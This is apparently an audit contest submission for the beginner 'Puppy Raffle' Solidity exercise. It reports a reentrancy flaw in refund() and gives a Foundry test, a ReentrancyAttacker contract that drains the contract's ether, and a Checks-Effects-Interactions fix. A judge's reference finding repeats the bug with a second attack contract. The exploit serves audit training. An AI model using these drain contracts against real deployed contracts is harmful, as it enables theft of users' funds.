Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in `refund()` allows a malicious player to drain the entire contract balance

mohdhuzaifah0786

Root + Impact

Description

  • Normal behavior: A player calls refund(playerIndex) to reclaim their entranceFee; the contract should send the fee once and immediately mark that player slot as inactive (address(0)) so it can never be refunded again.

  • Specific issue: refund() sends ETH before zeroing the player's slot, violating Checks-Effects-Interactions. Address.sendValue forwards all remaining gas via a raw .call, so the recipient's receive()/fallback() re-enters refund() with the same playerIndex — which still holds the attacker's address — passing every require again and looping until the contract is empty.

// Root cause in the codebase with @> marks to highlight the relevant sectionsolidity
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
@> payable(msg.sender).sendValue(entranceFee); // INTERACTION: external call forwards all gas
@> players[playerIndex] = address(0); // EFFECT: runs only AFTER re-entrancy completes
​
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Reason 1: Occurs whenever any raffle holds funds from other players and an attacker enters the raffle using a contract address, then calls refund().

  • Reason 2: Occurs on the very first refund() call — the vulnerable code path runs on every refund with no special preconditions.

Impact:

  • Impact 1: The attacker drains the entire contract balance — every other player's stake plus any totalFees accrued from previous rounds.

  • Impact 2: The raffle is left insolvent; honest players lose 100% of their deposits and no winner can be paid.

Proof of Concept

Add to test/PuppyRaffleTest.t.sol and run forge test --mt test_reentrancy_refund -vvv.
​
solidity
function test_reentrancy_refund() public {
// 4 honest players seed the pool with 4 ETH
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
vm.deal(address(attacker), entranceFee);
​
uint256 startAttacker = address(attacker).balance; // 1 ETH
uint256 startContract = address(puppyRaffle).balance; // 4 ETH
​
attacker.attack{value: entranceFee}();
​
console.log("Attacker balance before:", startAttacker);
console.log("Contract balance before:", startContract);
console.log("Attacker balance after: ", address(attacker).balance);
console.log("Contract balance after: ", address(puppyRaffle).balance);
​
// Attacker walks away with all 5 ETH; contract is drained to 0
assertEq(address(puppyRaffle).balance, 0);
assertEq(address(attacker).balance, startContract + entranceFee);
}
​
contract ReentrancyAttacker {
PuppyRaffle puppyRaffle;
uint256 entranceFee;
uint256 attackerIndex;
​
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
entranceFee = _puppyRaffle.entranceFee();
}
​
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(attackerIndex);
}
​
function _stealMoney() internal {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackerIndex);
}
}
​
receive() external payable { _stealMoney(); }
fallback() external payable { _stealMoney(); }
}

Recommended Mitigation

Apply Checks-Effects-Interactions (update state before the external call) and add a nonReentrant guard.
​
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
- payable(msg.sender).sendValue(entranceFee);
-
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
+ payable(msg.sender).sendValue(entranceFee);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!